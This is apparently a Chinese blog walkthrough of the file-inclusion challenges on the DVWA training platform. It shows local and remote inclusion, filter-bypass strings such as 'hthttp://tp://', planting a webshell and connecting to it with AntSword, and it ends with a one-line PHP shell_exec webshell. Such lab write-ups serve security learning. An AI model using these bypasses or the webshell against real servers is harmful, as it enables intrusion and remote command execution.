前言

本篇文章为DVWA平台File inclusion(文件包含)类型题目,目的为记录自己的作题过程同时也希望能够帮到大家,如有错误还请各位师傅指正!本人CSDN博客

环境&工具

Windows10、phpstudy、蚁剑/中国菜刀

正文

难度等级:

Low

dvwa1

从图中可以看出文件包含是在url通过GET传参的方式获取文件,经过测试发现可以直接获取服务器文件路径:

dvwa2

那么接下来我们可以直接包含一个本地文件,这里我直接在E盘创建了一个测试文件test.txt:

test

直接在url里面包含本地文件:

dvwa3

可以看到成功输出test.txt文件内容,这里需要提一下的是无论文件后缀名是什么,只要文件内容为php脚本都会正确解析并且执行,接下来测试远程文件包含,注意,需要allow_url_include为on:

dvwa4

我刚开始的时候就没有开启,注意这里的配置文件是phpstudy所用php版本的配置文件,可以在phpstudy_pro\Extensions\php下找到对应的php版本修改配置文件(php使用的版本可以用phpinfo查看),也可以直接在phpstudy设置里面选择对应的版本直接修改,如图:

phpstudy

下面测试远程包含,由于搭建的服务也是在本地所以直接使用IP访问,不过访问的ip根目录为phpstudy的网站根目录,所以测试文件要放在根目录下面,例:http://192.168.11.110/test.txt可以看到成功包含进来:

dvwa5

接下来我们在远程服务器写入一个fileinclusion.txt文件,内容如下:

fileinclusion

fputs为php函数,功能和fwrite函数一样,表示创建一个新文件,这样上传成功以后就会在当前平台文件所在目录下面创建一个含有木马的dvwainclusion.php文件(完成路径第一条测试的时候就已经爆出来了)。成功执行以后页面无变化,但是查看文件所在目录发现已经生成了dvwainclusion.php文件:

file

接下来就可以使用蚁剑成功连接,url为:http://192.168.11.110/dvwa.com/dvwa/vulnerabilities/fi/dvwainclusion.php,成功连接:

antsword

Medium

直接测试:

dvwa6

给出的报错提示没有找到文件,试一下本地绝对路径:

dvwa7

发现可以正确包含,分析得出应该是对相对路径../进行了过滤,试一下双写绕过,格式:**…/./**

dvwa8

可以看到成功绕过,(我的phpinfo文件在根目录下面,可以直接放在dvwa文件所在目录),接下来看一下远程包含:

dvwa9

可以看到同样没有找到该文件,判断是不是过滤了htpp,试一下双写绕过。格式:hthttptp

dvwa10

发现不是过滤了http,尝试其他方法以后发现是过滤了http://,使用双写成功绕过,格式:hthttp://tp://

dvwa11

其他步骤跟前面一样,就不再赘述啦

High

这里不再放图了,测试的时候发现怎么都无法绕过,不过使用file:///协议可以成功访问,其余的步骤就和前面一样了。例如:http://localhost/dvwa.com/dvwa/vulnerabilities/fi/?page=file:///E:test.txt

结语

本文所讲的只是简单的文件包含案例,本人也是菜鸟一枚,文件包含不只是可以上传文件,和文件上传还是不一样的,举一个例子,可以在远程写一个脚本包含进去:

1
<?php echo shell_exec($_GET['cmd']);?>

这样就可以得到被攻击机的shell,这也只是我这枚菜鸟所了解的一点点,本篇文章就到这里,欢迎各位师傅指正!